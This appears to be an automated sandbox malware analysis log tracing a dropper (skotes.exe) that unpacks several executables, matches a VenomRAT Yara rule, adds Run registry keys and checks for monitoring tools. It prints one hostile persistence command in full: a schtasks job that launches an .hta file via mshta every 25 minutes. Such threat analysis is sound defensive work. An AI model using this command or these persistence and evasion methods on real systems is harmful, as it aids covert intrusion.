Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC5100BD pushad ; iretd	11_2_00007FFAAC5100C1
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC528167 push ebx; ret	11_2_00007FFAAC52816A
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC52616F push esi; ret	11_2_00007FFAAC5261D7
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC77812C push ebx; ret	11_2_00007FFAAC77816A
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151860 push eax; mov dword ptr [esp], 424D4C7Fh	12_2_00151864
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014A6F5 push esi; retf	12_2_0014A6FE

Source: UWYXurYZ2x.exe	Static PE information: section name: entropy: 7.99042787579377
Source: UWYXurYZ2x.exe	Static PE information: section name: uxuphkme entropy: 7.953193470175589
Source: skotes.exe.1.dr	Static PE information: section name: entropy: 7.99042787579377
Source: skotes.exe.1.dr	Static PE information: section name: uxuphkme entropy: 7.953193470175589
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.976443184179906
Source: random[1].exe.5.dr	Static PE information: section name: xhiufuko entropy: 7.954433888864862
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: entropy: 7.976443184179906
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: xhiufuko entropy: 7.954433888864862
Source: random[2].exe.5.dr	Static PE information: section name: entropy: 7.96825716515293
Source: random[2].exe.5.dr	Static PE information: section name: gyqqudfz entropy: 7.946498321198079
Source: eb15c414be.exe.5.dr	Static PE information: section name: entropy: 7.96825716515293
Source: eb15c414be.exe.5.dr	Static PE information: section name: gyqqudfz entropy: 7.946498321198079
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: entropy: 7.96825716515293
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: gyqqudfz entropy: 7.955568964104248
Source: bKIFsVe.exe.5.dr	Static PE information: section name: entropy: 7.96825716515293
Source: bKIFsVe.exe.5.dr	Static PE information: section name: gyqqudfz entropy: 7.955568964104248
Source: random[1].exe1.5.dr	Static PE information: section name: entropy: 7.985532144894611
Source: random[1].exe1.5.dr	Static PE information: section name: mqypurkv entropy: 7.954278720525965
Source: b2ee16741f.exe.5.dr	Static PE information: section name: entropy: 7.985532144894611
Source: b2ee16741f.exe.5.dr	Static PE information: section name: mqypurkv entropy: 7.954278720525965

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1039131001\eb15c414be.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oavvDqT[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5f6d06eefa.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5f6d06eefa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5f6d06eefa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd	Jump to behavior

Hooking and other Techniques for Hiding and Protection

May use the Tor software to hide its network traffic

Source: oldVNC.exe, 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp

Binary or memory string: torConnect

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process information set: NOOPENFILEERRORBOX
